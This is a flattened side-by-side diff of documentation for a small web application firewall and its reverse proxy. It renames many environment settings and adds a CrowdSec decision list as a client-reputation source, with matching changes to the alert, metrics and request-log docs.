- Only an invalid setting, or a `SWW_RPROXY_LISTEN_ADDR` it cannot listen on, - Only an invalid setting, or a `SWW_RPROXY_LISTEN_ADDR` it cannot listen on,
stops `rproxy`. stops `rproxy`.
docs/alerts.md
+5 -3
View File
@@ -13,8 +13,9 @@ back or dropped.
threshold. The request was refused unless the alert's `detail` gives `mode`: threshold. The request was refused unless the alert's `detail` gives `mode`:
`detect` or `observe`. `detect` or `observe`.
- `anomaly`: a count over an anomaly threshold. - `anomaly`: a count over an anomaly threshold.
- `reputation_hit`: a request from a client on a blocklist or a DNS blocklist, - `reputation_hit`: a request from a client on a blocklist, the CrowdSec
or with an AbuseIPDB score that is a hit. One alert per source. decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
One alert per source.
- `source_failure`: one of: - `source_failure`: one of:
- GeoJS failing; - GeoJS failing;
- a list that cannot be fetched; - a list that cannot be fetched;
@@ -68,7 +69,8 @@ on one line:
"earlier_bans": { "earlier_bans": {
"limit": 0, "limit": 0,
"attack": 0, "attack": 0,
"admin": 0 "admin": 0,
"crowdsec": 0
} }
} }
}, },
docs/metrics.md
+2 -3
View File
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics. `honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says. body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
## Traffic ## Traffic
@@ -33,8 +33,7 @@ body bytes, never headers, whatever `SWW_WAF_BYTES_COUNTED` says.
## Countries and AS numbers ## Countries and AS numbers
For the `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` busiest of each, the rest For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
as `other`:
- `sww_country_requests_total`, `sww_country_request_bytes_total`, - `sww_country_requests_total`, `sww_country_request_bytes_total`,
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by `sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
docs/request-log.md
+12 -11
View File
@@ -97,7 +97,7 @@ Every one of these lines has:
- `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source - `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`; with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
- `temporarily_banned`: refused under a ban that runs out, or for a `ban` - `temporarily_banned`: refused under a ban that runs out, or for a `ban`
rule or a trap path that made such a ban; rule, a trap path or a CrowdSec decision that made such a ban;
- `permanently_banned`: refused under a ban that never runs out, including a - `permanently_banned`: refused under a ban that never runs out, including a
ban this request made or made permanent; ban this request made or made permanent;
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and - `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
@@ -118,6 +118,8 @@ Every one of these lines has:
- `countries`: `country`, and `setting`, the country list that refused it; - `countries`: `country`, and `setting`, the country list that refused it;
- `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries; - `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
- `blocklists`: `lists`, the blocklist URLs that list the client; - `blocklists`: `lists`, the blocklist URLs that list the client;
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
decision ends;
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys - `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
masked; masked;
- `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`; - `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
@@ -126,8 +128,8 @@ Every one of these lines has:
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it; - `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`; - `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`, - `core_rule_set`: `score`, and `threshold`,
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`; `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the refusal limit; - `refusal_limit`: `window`, `count` and `limit`, of the error burst;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes. - `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after `waf` - `after_answer_heuristic`: the heuristic that banned the client after `waf`
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`. answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`.
@@ -146,7 +148,7 @@ Every one of these lines has:
holds: holds:
- `minute`, `hour` and `day`: requests; - `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes - `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_WAF_BYTES_COUNTED` names, in that window. `SWW_WAF_BYTES_COUNT` names, in that window.
A count can have a fraction (see "Counting method" in A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its [`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
@@ -156,8 +158,7 @@ Every one of these lines has:
- `limit_hit`: the limit broken: - `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit; - `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit; - `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `minute_refusals` for the refusal limit - `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
(`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`).
When the bytes counted for a request and its response break a limit, the When the bytes counted for a request and its response break a limit, the
request has been passed on whole, so its `action` stays `forward`. Only its request has been passed on whole, so its `action` stays `forward`. Only its
@@ -169,6 +170,7 @@ Every one of these lines has:
and the rules that matched, for a request it inspected. and the rules that matched, for a request it inspected.
- `reputation`: the sources the client is on, in this order: - `reputation`: the sources the client is on, in this order:
- blocklist URLs; - blocklist URLs;
- the CrowdSec decision list's URL;
- DNS blocklist zones; - DNS blocklist zones;
- `abuseipdb`. - `abuseipdb`.
- `tags`: the request's tags, sorted, left out when it has none. Each tag and - `tags`: the request's tags, sorted, left out when it has none. Each tag and
@@ -231,15 +233,14 @@ meanings where they differ:
was sooner. It includes the wait for `waf`. was sooner. It includes the wait for `waf`.
- `duration_response_ms`: milliseconds from then until the end of the answer. - `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It - `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `waf`'s answer, or the value of is `waf`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`. It is
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. It is left out when: left out when:
- `waf` was not asked, as for the health check; - `waf` was not asked, as for the health check;
- the visitor went away while `waf` was being asked; - the visitor went away while `waf` was being asked;
- `waf`'s answer had no valid `X-Sww-Disposition`; - `waf`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `waf`'s answer, and answered `502`. - `rproxy` could not pass on `waf`'s answer, and answered `502`.
- `waf_backend_no_answer`: `true` when - `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` gave `disposition`, and `disposition`, and otherwise left out.
otherwise left out.
For example: For example:
docs/settings.md
+75 -71
View File
@@ -12,8 +12,6 @@ chooses between the two (see "The image's command" below).
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
and negative durations are refused. and negative durations are refused.
- A time in milliseconds is a whole number above zero, such as `2000`. Its
setting's name ends in `_MS`.
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers - A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`. of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
- A count is a whole number of requests, such as `1000`. - A count is a whole number of requests, such as `1000`.
@@ -57,9 +55,9 @@ chooses between the two (see "The image's command" below).
- `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state - `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
files, an absolute path that can be written. The image's `run` script makes files, an absolute path that can be written. The image's `run` script makes
it. it.
- `SWW_WAF_BANS_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be - `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration. written after a ban is made, lifted or made permanent. A duration.
- `SWW_WAF_STATE_WRITE_INTERVAL` (default `15m`): how often every state and - `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and
cache file is written. A duration. cache file is written. A duration.
- `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache - `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
files, an absolute path that can be written. The image's `run` script makes files, an absolute path that can be written. The image's `run` script makes
@@ -79,8 +77,8 @@ chooses between the two (see "The image's command" below).
- `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates - `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
that a `syslog+tls` server's certificate must chain to, instead of the host's that a `syslog+tls` server's certificate must chain to, instead of the host's
own. A file that cannot be read, or holds no certificate, is refused. own. A file that cannot be read, or holds no certificate, is refused.
- `SWW_WAF_LOG_REMOTE_BUFFER_LINES` (default `10000`): the most lines held while - `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
they wait to be sent, a whole number above zero. wait to be sent, a whole number above zero.
- `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`, - `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`, `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`. `authpriv`, `ftp`, or `local0` to `local7`.
@@ -89,9 +87,8 @@ chooses between the two (see "The image's command" below).
## Metrics ## Metrics
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` (default `50`): how many AS - `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
numbers and how many countries get series of their own. A whole number above countries get series of their own. A whole number above zero.
zero.
## Static lists ## Static lists
@@ -137,10 +134,10 @@ cut off; the client is banned.
- `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`), - `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
`SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and `SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
`SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a `SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
client in each window, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
bytes count: response bodies, request bodies or both. The request that passes count: response bodies, request bodies or both. The request that passes the
the limit is not cut off, and the client is banned when its response ends. limit is not cut off, and the client is banned when its response ends.
- `SWW_WAF_BYTES_COUNTED` (default `both`): what the byte limits and the byte - `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
anomaly thresholds count: `response`, the app's response bodies; `request`, anomaly thresholds count: `response`, the app's response bodies; `request`,
the visitors' request bodies; or `both`. What the visitor sent over a the visitors' request bodies; or `both`. What the visitor sent over a
WebSocket counts as request bytes, and what the app sent as response bytes. WebSocket counts as request bytes, and what the app sent as response bytes.
@@ -154,13 +151,13 @@ cut off; the client is banned.
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag, - `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset; or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`; - the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` below `100`; - `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number. - an anomaly threshold per AS number.
- `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in - `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`. its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` (default `800`): how long a - `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
request waits for its client's first answer from GeoJS, and how long a request client's first answer from GeoJS, and how long a request to GeoJS may take. A
to GeoJS may take. A time in milliseconds; never `off`. duration; never `off`.
- `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the - `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
app the client's AS number in `X-Client-ASN` and its country in app the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`. `X-Client-Country`.
@@ -180,8 +177,8 @@ in [`SPEC.md`](../SPEC.md).
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
`https` URL fetched like a blocklist. A name or URL listed twice is refused. `https` URL fetched like a blocklist. A name or URL listed twice is refused.
So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS` or is So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
`SWW_WAF_ASN_LIMIT_PERCENT_URL`. `SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
- `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as - `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a `torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
`country=` tag without a country, is refused. `country=` tag without a country, is refused.
@@ -209,20 +206,22 @@ tag that no request can get stops the start. A request can get only these:
- a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key - a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it; masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set; - `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while - `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
`SWW_WAF_RULE_FILES_ENABLED` is `true`, or while neither is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
`SWW_WAF_CORE_RULE_SET_MODE` nor `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` is `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
`off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
the request first.
## Biased thresholds ## Biased thresholds
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` - `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
(default empty): a percentage of the byte limits alone, for the AS numbers or empty): a percentage of the byte limits alone, for the AS numbers or countries
countries listed, such as `AS14061:50` or `cn:25`. It takes the place of the listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
percentage `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
An AS number or country listed twice is refused. or country listed twice is refused.
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` (default `100`): the percentage for a - `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
client the lookup cannot place. the lookup cannot place.
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of - `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
a text file with one AS number and percentage on each line, such as a text file with one AS number and percentage on each line, such as
`AS64496:50`. Each entry counts like an `asn=` tag in `AS64496:50`. Each entry counts like an `asn=` tag in
@@ -231,15 +230,15 @@ tag that no request can get stops the start. A request can get only these:
## Attack detection ## Attack detection
- `SWW_WAF_RULE_FILES_DIR` (default `/etc/sww/rules.d`): the directory of the - `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
rule files. files.
- `SWW_WAF_RULE_FILES_ENABLED` (default `true`): `false` reads no rule file. - `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as - `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`. `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`. - `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's - `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
paranoia level, from 1 to 4. paranoia level, from 1 to 4.
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` (default `5`): the score at which a - `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
request is a match. A whole number above zero, or `off`. request is a match. A whole number above zero, or `off`.
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default - `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
@@ -248,10 +247,10 @@ tag that no request can get stops the start. A request can get only these:
`smallwebwaf`'s own. `smallwebwaf`'s own.
- `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core - `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
Rule Set does not inspect. Rule Set does not inspect.
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` (default `off`): `off`, or how - `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
much of a request body the Core Rule Set reads, a size of at most `64K`. A request body the Core Rule Set reads, a size of at most `64K`. A question
question carries no more of a body than 64 KiB, and the Core Rule Set reads at carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
most 64 KiB less one byte of it, whatever the value (see "The answer" in KiB less one byte of it, whatever the value (see "The answer" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
- `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule - `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
Set exclusions, written as Coraza directives. It is loaded before the Core Set exclusions, written as Coraza directives. It is loaded before the Core
@@ -289,10 +288,9 @@ tag that no request can get stops the start. A request can get only these:
- a hostname listed twice; - a hostname listed twice;
- an app listed twice for one hostname; - an app listed twice for one hostname;
- an entry without a colon. - an entry without a colon.
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` (default `30`): the most refusals a client - `SWW_WAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may
may get in a minute from a rule file, a trap path or the Core Rule Set, a get in a minute from a rule file, a trap path or the Core Rule Set, a count or
count or `off`. The next one bans the client (see "Attack detection" in `off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
`SPEC.md`).
## Ban lengths, response and scope ## Ban lengths, response and scope
@@ -301,8 +299,8 @@ tag that no request can get stops the start. A request can get only these:
A duration. A duration.
- `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends - `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration. within which breaking a limit again lengthens the next ban. A duration.
- `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` (default `7d`): a ban for a broken limit - `SWW_WAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
that would be longer than this is permanent instead. A duration. one that would be longer is permanent. A duration.
- `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign - `SWW_WAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign
of attack. A duration. of attack. A duration.
- `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client - `SWW_WAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
@@ -330,12 +328,20 @@ tag that no request can get stops the start. A request can get only these:
score, from 0 to 100, that is a hit. score, from 0 to 100, that is a hit.
- `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a - `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a
day, a whole number above zero. AbuseIPDB's free accounts may make 1,000. day, a whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (default `limit:25`): `deny`, - `SWW_WAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec
`limit:<percent>` or `log`, for DNS blocklist and AbuseIPDB hits. engine you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL
- `SWW_WAF_IP_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict without a user or a fragment; its decision list is at `v1/decisions` under it.
or AbuseIPDB's score is used. A duration. Set without the key, it is refused. So is a decision list URL that is also in
- `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` (default `2000`): how long a query to a `SWW_WAF_BLOCKLIST_URLS`, or that is `SWW_WAF_ASN_LIMIT_PERCENT_URL`.
zone or a check with AbuseIPDB may take. A time in milliseconds. - `SWW_WAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused.
- `SWW_WAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_WAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration.
- `SWW_WAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
check with AbuseIPDB may take. A duration.
## Alerting ## Alerting
@@ -363,7 +369,7 @@ tag that no request can get stops the start. A request can get only these:
## Anomaly thresholds ## Anomaly thresholds
Each scope has four thresholds: the most requests and the most body bytes Each scope has four thresholds: the most requests and the most body bytes
counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNTED` counted in a minute and in an hour. The bytes are those `SWW_WAF_BYTES_COUNT`
names. Requests are counts, bytes are sizes. Each is `off` by default. The four names. Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are: thresholds per client are:
@@ -383,10 +389,9 @@ as `REQUESTS_PER_MINUTE`:
client. client.
- `SWW_WAF_ANOMALY_ASN_...`: per AS number. - `SWW_WAF_ANOMALY_ASN_...`: per AS number.
- `SWW_WAF_ANOMALY_TOTAL_...`: the whole service. - `SWW_WAF_ANOMALY_TOTAL_...`: the whole service.
- `SWW_WAF_ANOMALY_WATCHED_NET_...`: each netblock in - `SWW_WAF_WATCH_...`: each netblock in `SWW_WAF_WATCH_NETS`, as a whole.
`SWW_WAF_ANOMALY_WATCHED_NETS`, as a whole. `SWW_WAF_ANOMALY_WATCHED_NETS` `SWW_WAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
(default empty) is a list of name, `=` and netblock, such as as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice. name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files ## Settings given as files
@@ -430,11 +435,10 @@ A few limits are fixed rather than settings:
## `waf`'s answer and `rproxy`'s wait ## `waf`'s answer and `rproxy`'s wait
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is the longest a question waits on `SWW_WAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source.
an outside source. Keep it well under `rproxy`'s Keep it well under `rproxy`'s `SWW_RPROXY_TIMEOUT_MS`, as the default is. No
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, as the default is. No question waits for question waits for `SWW_WAF_REPUTATION_TIMEOUT`, since the DNS blocklists and
`SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`, since the DNS blocklists and AbuseIPDB are AbuseIPDB are asked in the background (see "Answering in time" under "`waf`" in
asked in the background (see "Answering in time" under "`waf`" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
## `rproxy` ## `rproxy`
@@ -443,17 +447,18 @@ asked in the background (see "Answering in time" under "`waf`" in
start, and an invalid value stops the start. Any can be given as a file, as a start, and an invalid value stops the start. Any can be given as a file, as a
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do. `SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or - `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy` `https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it. speaks HTTP/1.1 to it.
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits - `SWW_RPROXY_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `waf`'s
for `waf`'s answer, to a question and to a report. A time in milliseconds; answer, to a question and to a report. A time; never `off`.
never `off`. - `SWW_RPROXY_DEFAULT_DISPOSITION` (default `allow`): what is done with a
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done request when `waf` cannot be connected to, does not answer at all, or does not
with a request when `waf` cannot be connected to, does not answer at all, or answer within `SWW_RPROXY_TIMEOUT_MS`. `allow` passes it to the app, and
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it `deny` answers `503`. It does not apply to an answer `waf` gives, such as an
to the app, and `deny` answers `503`. It does not apply to an answer `waf` error.
gives, such as an error.
- `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A - `SWW_RPROXY_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A
size or `off`. size or `off`.
- `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A - `SWW_RPROXY_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A
@@ -461,12 +466,11 @@ start, and an invalid value stops the start. Any can be given as a file, as a
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may - `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
take to send its request line and headers. It then also bounds, from the end take to send its request line and headers. It then also bounds, from the end
of the headers, the time until the app has been sent the whole request. A time of the headers, the time until the app has been sent the whole request. A time
in milliseconds or `off`. or `off`.
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may - `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
take, from the end of the request to its last byte reaching the visitor. An take, from the end of the request to its last byte reaching the visitor. An
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
do the status and headers of the app's answer. A time in milliseconds or do the status and headers of the app's answer. A time or `off`.
`off`.
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as - `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
`:9000`. `:9000`.
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An - `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
docs/state-files.md
+1 -1
View File
@@ -25,7 +25,7 @@ Active and past bans: every ban an admin made, and up to `SWW_WAF_MAX_BANS` of
